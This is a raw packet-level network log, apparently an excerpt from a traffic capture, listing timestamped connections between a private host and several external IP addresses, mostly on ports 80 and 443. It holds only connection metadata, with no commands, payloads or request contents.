Nov 11, 2024 21:59:21.017110109 CET	58699	443	192.168.2.5	20.109.210.53
Nov 11, 2024 21:59:21.017141104 CET	443	58699	20.109.210.53	192.168.2.5
Nov 11, 2024 21:59:21.023554087 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.023567915 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.023583889 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.023613930 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:21.023632050 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:21.023663044 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.023682117 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.023695946 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.023710012 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.023715973 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:21.023725033 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.023729086 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:21.023758888 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:21.024307966 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.024322033 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.024337053 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.024346113 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:21.024364948 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:21.024386883 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:21.025041103 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.025085926 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:21.057979107 CET	443	58728	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:21.058010101 CET	443	58728	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:21.058063030 CET	58728	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:21.058074951 CET	443	58728	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:21.058101892 CET	58728	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:21.058120012 CET	58728	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:21.058372974 CET	443	58728	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:21.058388948 CET	443	58728	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:21.058438063 CET	58728	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:21.058443069 CET	443	58728	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:21.058490038 CET	58728	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:21.058762074 CET	443	58728	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:21.058779001 CET	443	58728	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:21.058823109 CET	58728	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:21.058829069 CET	443	58728	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:21.058839083 CET	58728	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:21.058868885 CET	58728	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:21.059403896 CET	443	58728	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:21.059422016 CET	443	58728	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:21.059461117 CET	58728	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:21.059465885 CET	443	58728	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:21.059497118 CET	58728	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:21.059514999 CET	58728	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:21.136625051 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.136645079 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.136662006 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.136734009 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:21.136795998 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.136814117 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.136852980 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:21.136899948 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.136935949 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:21.137069941 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.137123108 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.137136936 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.137159109 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:21.137168884 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.137183905 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:21.137191057 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.137203932 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:21.137226105 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:21.138670921 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.138746023 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.138761044 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.138781071 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.138792992 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:21.138825893 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:21.138830900 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.138864040 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:21.138932943 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.138979912 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.138993979 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.139018059 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:21.139036894 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:21.139070034 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.139086008 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.139118910 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:21.139832973 CET	443	58728	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:21.139863968 CET	443	58728	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:21.139925003 CET	58728	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:21.139939070 CET	443	58728	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:21.140209913 CET	58728	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:21.140275955 CET	443	58728	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:21.140300035 CET	443	58728	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:21.140314102 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.140327930 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.140342951 CET	58728	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:21.140350103 CET	443	58728	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:21.140372992 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:21.140399933 CET	58728	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:21.140853882 CET	443	58728	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:21.140870094 CET	443	58728	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:21.140949965 CET	58728	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:21.140955925 CET	443	58728	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:21.141187906 CET	58728	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:21.141236067 CET	443	58728	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:21.141261101 CET	443	58728	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:21.141310930 CET	58728	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:21.141323090 CET	443	58728	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:21.141345024 CET	58728	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:21.141371965 CET	58728	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:21.141525030 CET	443	58728	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:21.141546011 CET	443	58728	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:21.141599894 CET	58728	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:21.141604900 CET	443	58728	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:21.141647100 CET	58728	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:21.143269062 CET	443	58728	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:21.143326998 CET	443	58728	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:21.143531084 CET	58728	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:21.145457029 CET	443	58732	172.64.41.3	192.168.2.5
Nov 11, 2024 21:59:21.146640062 CET	443	58731	172.64.41.3	192.168.2.5
Nov 11, 2024 21:59:21.146903038 CET	58732	443	192.168.2.5	172.64.41.3
Nov 11, 2024 21:59:21.146935940 CET	443	58732	172.64.41.3	192.168.2.5
Nov 11, 2024 21:59:21.147222996 CET	443	58733	172.64.41.3	192.168.2.5
Nov 11, 2024 21:59:21.147279978 CET	443	58732	172.64.41.3	192.168.2.5
Nov 11, 2024 21:59:21.147294044 CET	443	58734	172.64.41.3	192.168.2.5
Nov 11, 2024 21:59:21.153448105 CET	58731	443	192.168.2.5	172.64.41.3
Nov 11, 2024 21:59:21.153479099 CET	443	58731	172.64.41.3	192.168.2.5
Nov 11, 2024 21:59:21.153791904 CET	443	58731	172.64.41.3	192.168.2.5
Nov 11, 2024 21:59:21.156114101 CET	58734	443	192.168.2.5	172.64.41.3
Nov 11, 2024 21:59:21.156126022 CET	443	58734	172.64.41.3	192.168.2.5
Nov 11, 2024 21:59:21.157143116 CET	443	58734	172.64.41.3	192.168.2.5
Nov 11, 2024 21:59:21.157200098 CET	58734	443	192.168.2.5	172.64.41.3
Nov 11, 2024 21:59:21.162682056 CET	58732	443	192.168.2.5	172.64.41.3
Nov 11, 2024 21:59:21.162760019 CET	443	58732	172.64.41.3	192.168.2.5
Nov 11, 2024 21:59:21.162899017 CET	58733	443	192.168.2.5	172.64.41.3
Nov 11, 2024 21:59:21.162928104 CET	443	58733	172.64.41.3	192.168.2.5
Nov 11, 2024 21:59:21.163775921 CET	58731	443	192.168.2.5	172.64.41.3
Nov 11, 2024 21:59:21.163897991 CET	443	58731	172.64.41.3	192.168.2.5
Nov 11, 2024 21:59:21.164011002 CET	443	58733	172.64.41.3	192.168.2.5
Nov 11, 2024 21:59:21.164076090 CET	58733	443	192.168.2.5	172.64.41.3
Nov 11, 2024 21:59:21.164273024 CET	58734	443	192.168.2.5	172.64.41.3
Nov 11, 2024 21:59:21.164341927 CET	443	58734	172.64.41.3	192.168.2.5
Nov 11, 2024 21:59:21.188875914 CET	58733	443	192.168.2.5	172.64.41.3
Nov 11, 2024 21:59:21.188945055 CET	443	58733	172.64.41.3	192.168.2.5
Nov 11, 2024 21:59:21.192703962 CET	58728	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:21.197463036 CET	58728	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:21.197474957 CET	443	58728	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:21.249330997 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.249349117 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.249360085 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.249386072 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:21.249403954 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:21.249413013 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.249449015 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:21.249475002 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.249488115 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.249511957 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:21.249522924 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.249531031 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:21.249540091 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.249553919 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.249566078 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.249577999 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:21.249602079 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:21.250397921 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.250432014 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.250435114 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:21.250444889 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.250469923 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:21.250483036 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:21.250721931 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.250734091 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.250746012 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.250758886 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.250770092 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:21.250792980 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:21.251120090 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.251132011 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.251143932 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.251166105 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:21.251176119 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:21.251183987 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.251197100 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.251209021 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.251219034 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:21.251220942 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.251236916 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:21.251250029 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:21.252022028 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.252033949 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.252047062 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.252059937 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.252065897 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:21.252077103 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:21.252089024 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.252101898 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.252103090 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:21.252126932 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:21.252127886 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.252145052 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:21.252160072 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:21.252895117 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.252942085 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:21.253041029 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.253052950 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.253066063 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.253087044 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:21.253103971 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.253108978 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:21.253117085 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.253129005 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.253140926 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:21.253156900 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:21.253175020 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:21.253761053 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.253810883 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.253823042 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.253839016 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:21.253849030 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:21.253870964 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.253882885 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.253894091 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.253906965 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.253911972 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:21.253936052 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:21.253947020 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:21.254615068 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.254705906 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:21.256553888 CET	58745	443	192.168.2.5	23.44.111.21
Nov 11, 2024 21:59:21.256596088 CET	443	58745	23.44.111.21	192.168.2.5
Nov 11, 2024 21:59:21.256659031 CET	58745	443	192.168.2.5	23.44.111.21
Nov 11, 2024 21:59:21.256895065 CET	58746	443	192.168.2.5	23.44.111.21
Nov 11, 2024 21:59:21.256917953 CET	443	58746	23.44.111.21	192.168.2.5
Nov 11, 2024 21:59:21.256977081 CET	58746	443	192.168.2.5	23.44.111.21
Nov 11, 2024 21:59:21.257654905 CET	58746	443	192.168.2.5	23.44.111.21
Nov 11, 2024 21:59:21.257671118 CET	443	58746	23.44.111.21	192.168.2.5
Nov 11, 2024 21:59:21.257882118 CET	58745	443	192.168.2.5	23.44.111.21
Nov 11, 2024 21:59:21.257894993 CET	443	58745	23.44.111.21	192.168.2.5
Nov 11, 2024 21:59:21.270133972 CET	58732	443	192.168.2.5	172.64.41.3
Nov 11, 2024 21:59:21.270145893 CET	58734	443	192.168.2.5	172.64.41.3
Nov 11, 2024 21:59:21.270152092 CET	58731	443	192.168.2.5	172.64.41.3
Nov 11, 2024 21:59:21.270153999 CET	443	58734	172.64.41.3	192.168.2.5
Nov 11, 2024 21:59:21.275077105 CET	443	58736	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:21.276067972 CET	58736	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:21.276084900 CET	443	58736	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:21.278390884 CET	58736	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:21.278395891 CET	443	58736	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:21.301395893 CET	58733	443	192.168.2.5	172.64.41.3
Nov 11, 2024 21:59:21.301407099 CET	443	58733	172.64.41.3	192.168.2.5
Nov 11, 2024 21:59:21.356815100 CET	443	58739	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:21.358913898 CET	443	58738	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:21.361370087 CET	443	58740	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:21.362260103 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.362281084 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.362345934 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:21.362368107 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.362404108 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:21.362416983 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.362428904 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.362469912 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:21.362488985 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.362499952 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.362533092 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:21.362555981 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.362569094 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.362582922 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.362592936 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.362598896 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.362610102 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.362624884 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.362627029 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:21.362634897 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.362654924 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:21.362679958 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:21.362679958 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:21.363089085 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.363137007 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.363149881 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.363182068 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:21.363194942 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:21.363204956 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.363217115 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.363230944 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.363259077 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:21.363316059 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:21.363406897 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.363447905 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:21.363451958 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.363471031 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.363486052 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.363497972 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.363506079 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:21.363506079 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:21.363509893 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.363526106 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:21.363548994 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:21.363828897 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.363867044 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.363878965 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.363889933 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.363895893 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:21.363917112 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.363919020 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:21.363930941 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.363934040 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:21.363943100 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.363957882 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.363960981 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:21.363989115 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:21.364021063 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.364032984 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.364043951 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.364057064 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.364067078 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:21.364077091 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:21.364093065 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.364104986 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:21.364793062 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.364805937 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.364831924 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.364840031 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:21.364844084 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.364856005 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.364872932 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:21.364897966 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:21.364912987 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.364926100 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.364937067 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.364948988 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.364950895 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:21.364968061 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.364978075 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:21.364979982 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.364991903 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.365004063 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:21.365005016 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.365024090 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:21.365051031 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:21.365684032 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.365727901 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:21.365730047 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.365741968 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.365777969 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:21.365806103 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.365818977 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.365830898 CET	80	58697	185.215.113.206	192.168.2.5
